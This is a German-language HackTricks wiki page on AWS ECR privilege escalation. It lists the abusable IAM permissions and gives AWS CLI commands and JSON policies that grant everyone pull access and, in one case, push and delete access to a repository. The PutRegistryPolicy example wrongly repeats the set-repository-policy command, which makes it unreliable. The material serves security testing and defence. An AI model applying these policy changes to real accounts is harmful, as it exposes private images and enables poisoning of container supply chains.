AWS - ECR Privesc

Unterstützen Sie HackTricks

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

Ein Angreifer mit den Berechtigungen ecr:GetAuthorizationToken und ecr:BatchGetImage kann sich bei ECR anmelden und Bilder herunterladen.

Für weitere Informationen zum Herunterladen von Bildern:

AWS - ECR Post Exploitation

Potenzielle Auswirkungen: Indirekter Privilege Escalation durch Abfangen sensibler Informationen im Datenverkehr.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Ein Angreifer mit all diesen Berechtigungen kann sich bei ECR anmelden und Bilder hochladen. Dies kann nützlich sein, um Privilegien auf andere Umgebungen zu eskalieren, in denen diese Bilder verwendet werden.

Um zu lernen, wie man ein neues Bild hochlädt/aktualisiert, überprüfen Sie:

AWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Wie der vorherige Abschnitt, aber für öffentliche Repositories.

ecr:SetRepositoryPolicy

Ein Angreifer mit dieser Berechtigung könnte die Repository-Richtlinie ändern, um sich selbst (oder sogar allen) Lese-/Schreibzugriff zu gewähren. Zum Beispiel wird in diesem Beispiel allen Lesezugriff gewährt.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Inhalt von my-policy.json:

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Wie im vorherigen Abschnitt, aber für öffentliche Repositories. Ein Angreifer kann die Repository-Richtlinie ändern, um einem ECR Public-Repository unbefugten öffentlichen Zugriff zu gewähren oder ihre Berechtigungen zu eskalieren.

bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Potenzielle Auswirkungen: Unbefugter öffentlicher Zugriff auf das ECR Public-Repository, der es jedem Benutzer ermöglicht, Bilder hochzuladen, herunterzuladen oder zu löschen.

ecr:PutRegistryPolicy

Ein Angreifer mit dieser Berechtigung könnte die Registerrichtlinie ändern, um sich selbst, sein Konto (oder sogar jedem) Lese-/Schreibzugriff zu gewähren.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
Unterstützen Sie HackTricks

Last updated